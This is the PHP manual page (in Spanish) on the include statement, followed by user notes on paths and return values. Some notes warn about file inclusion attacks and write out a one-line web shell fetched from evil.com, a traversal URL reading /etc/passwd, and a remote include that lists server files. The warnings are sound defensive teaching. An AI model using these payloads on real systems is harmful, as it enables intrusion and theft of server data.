PHP 5.6.29 Released

include

(PHP 4, PHP 5, PHP 7)

La sentencia include incluye y evalúa el archivo especificado.

La siguiente documentación también se aplica a require.

Los archivos son incluidos con base en la ruta de acceso dada o, si ninguna es dada, el include_path especificado. Si el archivo no se encuentra en el include_path, include finalmente verificará en el propio directorio del script que hace el llamado y en el directorio de trabajo actual, antes de fallar. El constructor include emitirá una advertencia si no puede encontrar un archivo, éste es un comportamiento diferente al de require, el cual emitirá un error fatal..

Si una ruta es definida — ya sea absoluta (comenzando con una letra de unidad o \ en Windows o / en sistemas Unix/Linux) o relativa al directorio actual (comenzando con . o ..) — el include_path será ignorado por completo. Por ejemplo, si un nombre de archivo comienza con ../, el interprete buscará en el directorio padre para encontrar el archivo solicitado.

Para más información sobre como PHP maneja la inclusión de archivos y la ruta de accesos para incluir, ver la documentación de include_path.

Cuando se incluye un archivo, el código que contiene hereda el ámbito de las variables de la línea en la cual ocurre la inclusión. Cualquier variable disponible en esa línea del archivo que hace el llamado, estará disponible en el archivo llamado, desde ese punto en adelante. Sin embargo, todas las funciones y clases definidas en el archivo incluido tienen el ámbito global.

Ejemplo #1 Ejemplo básico de include

vars.php
<?php

$color 
'verde';
$fruta 'manzana';

?>

test.php
<?php

echo "Una $fruta $color"// Una

include 'vars.php';

echo 
"Una $fruta $color"// Una manzana verde

?>

Si la inclusión ocurre al interior de una función dentro del archivo que hace el llamado, entonces todo el código contenido en el archivo llamado se comportará como si hubiera sido definida dentro de esa función. Por lo tanto, seguirá el ámbito de las variables de esa función. Una excepción a esta regla son las constantes mágicas las cuales son evaluadas por el intérprete antes que ocurra la inclusión.

Ejemplo #2 Incluyendo dentro de funciones

<?php

function foo()
{
    global 
$color;

    include 
'vars.php';

    echo 
"Una $fruta $color";
}

/* vars.php está en el ámbito de foo() así que *
* $fruta NO está disponible por fuera de éste  *
* ámbito. $color sí está porque fue declarado *
* como global.                                 */

foo();                      // Una manzana verde
echo "Una $fruta $color";   // Una verde

?>

Cuando un archivo es incluido, el intérprete abandona el modo PHP e ingresa al modo HTML al comienzo del archivo objetivo y se reanuda de nuevo al final. Por esta razón, cualquier código al interior del archivo objetivo que deba ser ejecutado como código PHP, tendrá que ser encerrado dentro de etiquetas válidas de comienzo y terminación de PHP.

Si las "envolturas URL include" están activadas en PHP, se puede especificar el archivo a ser incluido usando una URL (vía HTTP u otra envoltura soportada - ver Protocolos y Envolturas soportados para una lista de protocolos) en lugar de una ruta de acceso local. Si el servidor objetivo interpreta el archivo objetivo como código PHP, las variables se pueden pasar al archivo incluido usando una string de petición como la usada con HTTP GET. Esto no es, en estricto rigor, lo mismo que haber incluido el archivo y que haya heredado el ámbito de variables del archivo padre; el script realmente está siendo ejecutado en el servidor remoto y el resultado entonces se incluye dentro del script local.

Ejemplo #3 include por medio de HTTP

<?php

/* Este ejemplo asume que www.example.com está configurado para interpretar archivos
* .php y no archivos .txt. Además, aquí 'Funciona' quiere decir que las variables
* $foo y $bar están disponibles dentro del archivo incluido. */

// No funciona; file.txt no puede ser manejado por www.example.com como PHP
include 'http://www.example.com/file.txt?foo=1&bar=2';

// No funciona; busca por un archivo llamado 'file.php?foo=1&bar=2' en el
// sistema de archivos local.
include 'file.php?foo=1&bar=2';

// Si funciona.
include 'http://www.example.com/file.php?foo=1&bar=2';

$foo 1;
$bar 2;
include 
'file.txt';  // Funciona.
include 'file.php';  // Funciona.

?>

Advertencia

Advertencia de seguridad

El archivo remoto puede ser procesado en el servidor remoto (dependiendo de la extensión del archivo y del hecho de si el servidor remoto corre PHP o no) pero aun así tiene que producir un script PHP válido, porque será procesado en el servidor local. Si el archivo desde el servidor remoto debe ser procesado allá y entregar la salida solamente, readfile() es la mejor función para usar. De lo contrario, debe tenerse especial cuidado para asegurar que el script remoto produce un código válido y deseado.

Ver también Archivos remotos, fopen() y file() para información relacionada.

Manejando retornos: include devuelve FALSE en caso de falla y eleva una advertencia. Inclusiones exitosas, a menos que sea reemplazado por el archivo incluido, devolverá 1. Es posible ejecutar una sentencia return dentro de un archivo incluido con el fin de terminar el procesamiento en ese archivo y volver a script que lo llamó. Además, es posible retornar valores desde los archivos incluidos. Se puede tomar el valor de la llamada "include" de la misma forma como se haría con una función normal. Esto no es, sin embargo, posible si se incluyen archivos remotos, a menos que la salida del archivo remoto tenga unas etiquetas válidas de inicio y terminación de PHP (igual que con cualquier archivo local). Se pueden declarar las variables necesarias dentro de esas etiquetas y serán introducidas en cualquiera sea el punto del archivo en el cual fue incluido.

Debido a que include es un constructor especial del lenguaje, los paréntesis no son necesarios en torno a su argumento. Se debe tener cuidado cuando se compara el valor de retorno.

Ejemplo #4 Comparando el valor de retorno de include

<?php
// no funcionará, se evalúa como include(('vars.php') == TRUE), es decir, include('')
if (include('vars.php') == TRUE) {
    echo 
'OK';
}

// sí funciona
if ((include 'vars.php') == TRUE) {
    echo 
'OK';
}
?>

Ejemplo #5 include y la sentencia return

return.php
<?php

$var 
'PHP';

return 
$var;

?>

noreturn.php
<?php

$var 
'PHP';

?>

testreturns.php
<?php

$foo 
= include 'return.php';

echo 
$foo// muestra 'PHP'

$bar = include 'noreturn.php';

echo 
$bar// muestra 1

?>

$bar tiene el valor 1 debido a que el include fue exitoso. Nótese la diferencia entre los ejemplos anteriores. El primero usa return dentro del archivo incluido, mientras que el otro no. Si el archivo no se pueden incluir, se retorna FALSE y se emite un E_WARNING.

Si hay funciones definidas en el archivo incluido, se pueden utilizar en el archivo principal independientemente que hayan return antes o después. Si el archivo se incluye dos veces, PHP 5 arrojará un error fatal ya que las funciones ya han sido declaradas, mientras que PHP 4 no se queja acerca de las funciones definidas después de un return. Se recomienda el uso de include_once en lugar de comprobar si el archivo ya estaba incluido y hacer el retorno de forma condicionada dentro del archivo incluido.

Otra forma de "incluir" un archivo PHP en una variable es capturar la salida mediante el uso de Funciones de control de salida con include. Por ejemplo:

Ejemplo #6 Usando buffering de salida para incluir un archivo PHP dentro de una cadena

<?php
$string 
get_include_contents('somefile.php');

function 
get_include_contents($filename) {
    if (
is_file($filename)) {
        
ob_start();
        include 
$filename;
        return 
ob_get_clean();
    }
    return 
false;
}

?>

Con el fin de incluir archivos de forma automática dentro de scripts, véase también las opciones de configuración auto_prepend_file and auto_append_file en php.ini.

Nota: Puesto que esto es una construcción del lenguaje y no una función, no puede ser llamada usando funciones variables.

Ver también require, require_once, include_once, get_included_files(), readfile(), virtual() y include_path.

add a note add a note

User Contributed Notes 20 notes

up
68
snowyurik at gmail dot com
8 years ago
This might be useful:
<?php
include $_SERVER['DOCUMENT_ROOT']."/lib/sample.lib.php";
?>
So you can move script anywhere in web-project tree without changes.
up
10
error17191 at gmail dot com
1 year ago
When including a file using its name directly without specifying we are talking about the current working directory, i.e. saying (include "file") instead of ( include "./file") . PHP will search first in the current working directory (given by getcwd() ) , then next searches for it in the directory of the script being executed (given by __dir__).
This is an example to demonstrate the situation :
We have two directory structure :
-dir1
----script.php
----test
----dir1_test
-dir2
----test
----dir2_test

dir1/test contains the following text :
This is test in dir1
dir2/test contains the following text:
This is test in dir2
dir1_test contains the following text:
This is dir1_test
dir2_test contains the following text:
This is dir2_test

script.php contains the following code:
<?php

echo 'Directory of the current calling script: ' . __DIR__;
echo
'<br />';
echo
'Current working directory: ' . getcwd();
echo
'<br />';
echo
'including "test" ...';
echo
'<br />';
include
'test';
echo
'<br />';
echo
'Changing current working directory to dir2';
chdir('../dir2');
echo
'<br />';
echo
'Directory of the current calling script: ' . __DIR__;
echo
'<br />';
echo
'Current working directory: ' . getcwd();
echo
'<br />';
echo
'including "test" ...';
echo
'<br />';
include
'test';
echo
'<br />';
echo
'including "dir2_test" ...';
echo
'<br />';
include
'dir2_test';
echo
'<br />';
echo
'including "dir1_test" ...';
echo
'<br />';
include
'dir1_test';
echo
'<br />';
echo
'including "./dir1_test" ...';
echo
'<br />';
(@include
'./dir1_test') or die('couldn\'t include this file ');
?>
The output of executing script.php is :

Directory of the current calling script: C:\dev\www\php_experiments\working_directory\example2\dir1
Current working directory: C:\dev\www\php_experiments\working_directory\example2\dir1
including "test" ...
This is test in dir1
Changing current working directory to dir2
Directory of the current calling script: C:\dev\www\php_experiments\working_directory\example2\dir1
Current working directory: C:\dev\www\php_experiments\working_directory\example2\dir2
including "test" ...
This is test in dir2
including "dir2_test" ...
This is dir2_test
including "dir1_test" ...
This is dir1_test
including "./dir1_test" ...
couldn't include this file
up
15
Anon
4 years ago
I cannot emphasize enough knowing the active working directory. Find it by: echo getcwd();
Remember that if file A includes file B, and B includes file C; the include path in B should take into account that A, not B, is the active working directory.
up
4
Ray.Paseur often uses Gmail
2 years ago
It's worth noting that PHP provides an OS-context aware constant called DIRECTORY_SEPARATOR.  If you use that instead of slashes in your directory paths your scripts will be correct whether you use *NIX or (shudder) Windows.  (In a semi-related way, there is a smart end-of-line character, PHP_EOL)

Example:
<?php
$cfg_path
= 'includes'
. DIRECTORY_SEPARATOR
. 'config.php'
;
require_once(
$cfg_path);
up
6
Rash
1 year ago
If you want to have include files, but do not want them to be accessible directly from the client side, please, please, for the love of keyboard, do not do this:

<?php

# index.php
define('what', 'ever');
include
'includeFile.php';

# includeFile.php

// check if what is defined and die if not

?>

The reason you should not do this is because there is a better option available. Move the includeFile(s) out of the document root of your project. So if the document root of your project is at "/usr/share/nginx/html", keep the include files in "/usr/share/nginx/src".

<?php

# index.php (in document root (/usr/share/nginx/html))

include __DIR__ . '/../src/includeFile.php';

?>

Since user can't type 'your.site/../src/includeFile.php', your includeFile(s) would not be accessible to the user directly.
up
9
Rick Garcia
8 years ago
As a rule of thumb, never include files using relative paths. To do this efficiently, you can define constants as follows:

----
<?php // prepend.php - autoprepended at the top of your tree
define('MAINDIR',dirname(__FILE__) . '/');
define('DL_DIR',MAINDIR . 'downloads/');
define('LIB_DIR',MAINDIR . 'lib/');
?>
----

and so on. This way, the files in your framework will only have to issue statements such as this:

<?php
require_once(LIB_DIR . 'excel_functions.php');
?>

This also frees you from having to check the include path each time you do an include.

If you're running scripts from below your main web directory, put a prepend.php file in each subdirectory:

--
<?php
include(dirname(dirname(__FILE__)) . '/prepend.php');
?>
--

This way, the prepend.php at the top always gets executed and you'll have no path handling headaches. Just remember to set the auto_prepend_file directive on your .htaccess files for each subdirectory where you have web-accessible scripts.
up
3
Wade.
8 years ago
If you're doing a lot of dynamic/computed includes (>100, say), then you may well want to know this performance comparison: if the target file doesn't exist, then an @include() is *ten* *times* *slower* than prefixing it with a file_exists() check. (This will be important if the file will only occasionally exist - e.g. a dev environment has it, but a prod one doesn't.)

Wade.
up
2
Chris Bell
7 years ago
A word of warning about lazy HTTP includes - they can break your server.

If you are including a file from your own site, do not use a URL however easy or tempting that may be. If all of your PHP processes are tied up with the pages making the request, there are no processes available to serve the include. The original requests will sit there tying up all your resources and eventually time out.

Use file references wherever possible. This caused us a considerable amount of grief (Zend/IIS) before I tracked the problem down.
up
3
sPlayer
5 years ago
Sometimes it will be usefull to include a string as a filename

<?php

//get content
$cFile = file_get_contents('crypted.file');
//decrypt the content
$content = decrypte($cFile);

//include this
include("data://text/plain;base64,".base64_encode($content));
//or
include("data://text/plain,".urlencode($content));
?>
up
2
John Carty
1 month ago
Before using php's include, require, include_once or require_once statements, you should learn more about Local File Inclusion (also known as LFI) and Remote File Inclusion (also known as RFI).

As example #3 points out, it is possible to include a php file from a remote server.

The LFI and RFI vulnerabilities occur when you use an input variable in the include statement without proper input validation.  Suppose you have an example.php with code:

<?php
// Bad Code
$path = $_GET['path'];
include
$path . 'example-config-file.php';
?>

As a programmer, you might expect the user to browse to the path that you specify.

However, it opens up an RFI vulnerability.  To exploit it as an attacker, I would first setup an evil text file with php code on my evil.com domain.

evil.txt
<?php echo shell_exec($_GET['command']);?>

It is a text file so it would not be processed on my server but on the target/victim server.  I would browse to:
h t t p : / / w w w .example.com/example.php?command=whoami& path= h t t p : / / w w w .evil.com/evil.txt%00

The example.php would download my evil.txt and process the operating system command that I passed in as the command variable.  In this case, it is whoami.  I ended the path variable with a %00, which is the null character.  The original include statement in the example.php would ignore the rest of the line.  It should tell me who the web server is running as.

Please use proper input validation if you use variables in an include statement.
up
0
mbread at m-bread dot com
9 years ago
If you have a problem with "Permission denied" errors (or other permissions problems) when including files, check:

1) That the file you are trying to include has the appropriate "r" (read) permission set, and
2) That all the directories that are ancestors of the included file, but not of the script including the file, have the appropriate "x" (execute/search) permission set.
up
-1
uramihsayibok, gmail, com
8 years ago
I have a need to include a lot of files, all of which are contained in one directory. Support for things like <?php include_once 'dir/*.php'; ?> would be nice, but it doesn't exist.

Therefore I wrote this quick function (located in a file automatically included by auto_prepend_file):
<?php

function include_all_once ($pattern) {
    foreach (
glob($pattern) as $file) { // remember the { and } are necessary!
       
include $file;
    }
}

// used like
include_all_once('dir/*.php');

?>
A fairly obvious solution. It doesn't deal with relative file paths though; you still have to do that yourself.
up
-2
joe dot naylor at gmail dot com
6 years ago
Be very careful with including files based on user inputed data.  For instance, consider this code sample:

index.php:
<?php
$page
= $_GET['page'];
if (
file_exists('pages/'.$page.'.php'))
{
   include(
'pages/'.$page.'.php');
}
?>

Then go to URL:
index.php?page=/../../../../../../etc/passwd%00.html

file_exists() will return true, your passwd file will be included and since it's not php code it will be output directly to the browser.

Of course the same vulnerability exists if you are reading a file to display, as in a templating engine.

You absolutely have to sanitize any input string that will be used to access the filesystem, you can't count on an absolute path or appended file extension to secure it.  Better yet, know exactly what options you can accept and accept only those options.
up
-2
example at user dot com
8 years ago
Just about any file type can be 'included' or 'required'.  By sending appropriate headers, like in the below example, the client would normally see the output in their browser as an image or other intended mime type.

You can also embed text in the output, like in the example below.  But an image is still an image to the client's machine.  The client must open the downloaded file as plain/text to see what you embedded.

<?php

header
('Content-type: image/jpeg');
header('Content-Disposition: inline;');

include
'/some_image.jpg';
echo
'This file was provided by example@user.com.';

?>

Which brings us to a major security issue.  Scripts can be hidden within images or files using this method.  For example, instead echoing "<?php phpinfo(); ?>", a foreach/unlink loop through the entire filesystem, or some other method of disabling security on your machine.

'Including' any file made this way will execute those scripts.  NEVER 'include' anything that you found on the web or that users upload or can alter in any way.  Instead, use something a little safer to display the found file, like "echo file_get_contents('/some_image.jpg');"
up
-2
abanarn at gmail dot com
2 years ago
To Windows coders, if you are upgrading from 5.3 to 5.4 or even 5.5; if you have have coded a path in your require or include you will have to be careful. Your code might not be backward compatible. To be more specific; the code escape for ESC, which is "\e" was introduced in php 5.4.4 + but if you use 5.4.3 you should be fine. For instance:

Test script:
-------------
<?php
require("C:\element\scripts\include.php");
?>

In php 5.3.* to php 5.4.3
----------------------------
If you use require("C:\element\scripts\include.php")  it will work fine.

If php 5.4.4 + It will break.
------------------------------
Warning: require(C:←lement\scripts\include.php): failed to open stream: In
valid argument in C:\element\scripts\include.php on line 20

Fatal error: require(): Failed opening required 'C:←lement\scripts\include.php

Solution:
-----------
Theoretically, you should be always using "\\" instead of "\" when you write php in windows machine OR use "/" like in Linux and you should fine since "\" is an escape character in most programming languages.
If you are not using absolute paths ; stream functions is your best friend like stream_resolve_include_path() , but you need to include the path you are resolving in you php.ini (include_path variable).

I hope this makes sense and I hope it will someone sometime down the road.
cheers,
up
-2
Jero Minh
1 year ago
Notice that using @include (instead of include without @) will set the local value of error_reporting to 0 inside the included script.

Consider the following:
<?php
    ini_set
('error_reporting', E_ALL);

    echo
"Own value before: ";
    echo
ini_get('error_reporting');
    echo
"\r\n";

    echo
"include foo.php: ";
    include(
'foo.php');

    echo
"@include foo.php: ";
    @include(
'foo.php');

    echo
"Own value now: " . ini_get('error_reporting');
?>

foo.php
<?php
   
echo ini_get('error_reporting') . "\r\n";
?>

Output:
    Own value before: 32767
    include foo.php: 32767
    @include foo.php: 0
    Own value now: 32767
up
-1
james at gogo dot co dot nz
13 years ago
While you can return a value from an included file, and receive the value as you would expect, you do not seem to be able to return a reference in any way (except in array, references are always preserved in arrays).

For example, we have two files, file 1.php contains...
<?php
 
function &x(&$y)
  {
    return include(
dirname(__FILE__) . '/2.php');
  }

 
$z = "FOO\n";
 
$z2 = &x($z);

  echo
$z2;
 
$z  = "NOO\n";
 
  echo
$z2;
?>

and file 2.php contains...
<?php  return $y; ?>

calling 1.php will produce

FOO
FOO

i.e the reference passed to x() is broken on it's way out of the include()

Neither can you do something like <?php $foo =& include(....); ?> as that's a parse error (include is not a real function, so can't take a reference in that case).  And you also can't do <?php return &$foo ?> in the included file (parse error again, nothing to assign the reference too).

The only solutions are to set a variable with the reference which the including code can then return itself, or return an array with the reference inside.

---
James Sleeman
http://www.gogo.co.nz/
up
-3
durkboek A_T hotmail D_O_T com
12 years ago
I would like to emphasize the danger of remote includes. For example:
Suppose, we have a server A with Linux and PHP 4.3.0 or greater installed which has the file index.php with the following code:

<?php
// File: index.php
include ($_GET['id'].".php");
?>

This is, of course, not a very good way to program, but i actually found a program doing this.

Then, we hava a server B, also Linux with PHP installed, that has the file list.php with the following code:

<?php
// File: list.php
$output = "";
exec("ls -al",$output);
foreach(
$output as $line) {
echo
$line . "<br>\n";
}
?>

If index.php on Server A is called like this: http://server_a/index.php?id=http://server_b/list
then Server B will execute list.php and Server A will include the output of Server B, a list of files.

But here's the trick: if Server B doesn't have PHP installed, it returns the file list.php to Server A, and Server A executes that file. Now we have a file listing of Server A!
I tried this on three different servers, and it allways worked.
This is only an example, but there have been hacks uploading files to servers etc.

So, allways be extremely carefull with remote includes.
up
-5
hyponiq at gmail dot com
7 years ago
I would like to point out the difference in behavior in IIS/Windows and Apache/Unix (not sure about any others, but I would think that any server under Windows will be have the same as IIS/Windows and any server under Unix will behave the same as Apache/Unix) when it comes to path specified for included files.

Consider the following:
<?php
include '/Path/To/File.php';
?>

In IIS/Windows, the file is looked for at the root of the virtual host (we'll say C:\Server\Sites\MySite) since the path began with a forward slash.  This behavior works in HTML under all platforms because browsers interpret the / as the root of the server.

However, Unix file/folder structuring is a little different.  The / represents the root of the hard drive or current hard drive partition.  In other words, it would basically be looking for root:/Path/To/File.php instead of serverRoot:/Path/To/File.php (which we'll say is /usr/var/www/htdocs).  Thusly, an error/warning would be thrown because the path doesn't exist in the root path.

I just thought I'd mention that.  It will definitely save some trouble for those users who work under Windows and transport their applications to an Unix-based server.

A work around would be something like:
<?php
$documentRoot
= null;

if (isset(
$_SERVER['DOCUMENT_ROOT'])) {
   
$documentRoot = $_SERVER['DOCUMENT_ROOT'];
   
    if (
strstr($documentRoot, '/') || strstr($documentRoot, '\\')) {
        if (
strstr($documentRoot, '/')) {
           
$documentRoot = str_replace('/', DIRECTORY_SEPARATOR, $documentRoot);
        }
        elseif (
strstr($documentRoot, '\\')) {
           
$documentRoot = str_replace('\\', DIRECTORY_SEPARATOR, $documentRoot);
        }
    }
   
    if (
preg_match('/[^\\/]{1}\\[^\\/]{1}/', $documentRoot)) {
       
$documentRoot = preg_replace('/([^\\/]{1})\\([^\\/]{1})/', '\\1DIR_SEP\\2', $documentRoot);
       
$documentRoot = str_replace('DIR_SEP', '\\\\', $documentRoot);
    }
}
else {
   
/**
     * I usually store this file in the Includes folder at the root of my
     * virtual host. This can be changed to wherever you store this file.
     *
     * Example:
     * If you store this file in the Application/Settings/DocRoot folder at the
     * base of your site, you would change this array to include each of those
     * folders.
     *
     * <code>
     * $directories = array(
     *     'Application',
     *     'Settings',
     *     'DocRoot'
     * );
     * </code>
     */
   
$directories = array(
       
'Includes'
   
);
   
    if (
defined('__DIR__')) {
       
$currentDirectory = __DIR__;
    }
    else {
       
$currentDirectory = dirname(__FILE__);
    }
   
   
$currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
   
$currentDirectory = $currentDirectory . DIRECTORY_SEPARATOR;
   
    foreach (
$directories as $directory) {
       
$currentDirectory = str_replace(
           
DIRECTORY_SEPARATOR . $directory . DIRECTORY_SEPARATOR,
           
DIRECTORY_SEPARATOR,
           
$currentDirectory
       
);
    }
   
   
$currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
}

define('SERVER_DOC_ROOT', $documentRoot);
?>

Using this file, you can include files using the defined SERVER_DOC_ROOT constant and each file included that way will be included from the correct location and no errors/warnings will be thrown.

Example:
<?php
include SERVER_DOC_ROOT . '/Path/To/File.php';
?>
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-7
Anonymous
11 years ago
Thought you can figure it out by reading the doc, this hint might save you some time. If you override include_path, be sure to include the current directory ( . ) in the path list, otherwise include("includes/a.php") will not search in the current script directory.

e.g :

<?php
if(file_exists("includes/a.php"))
   include(
"includes/a.php")
?>

The first line will test to true, however include will not find the file, and you'll get a "failed to open stream" error
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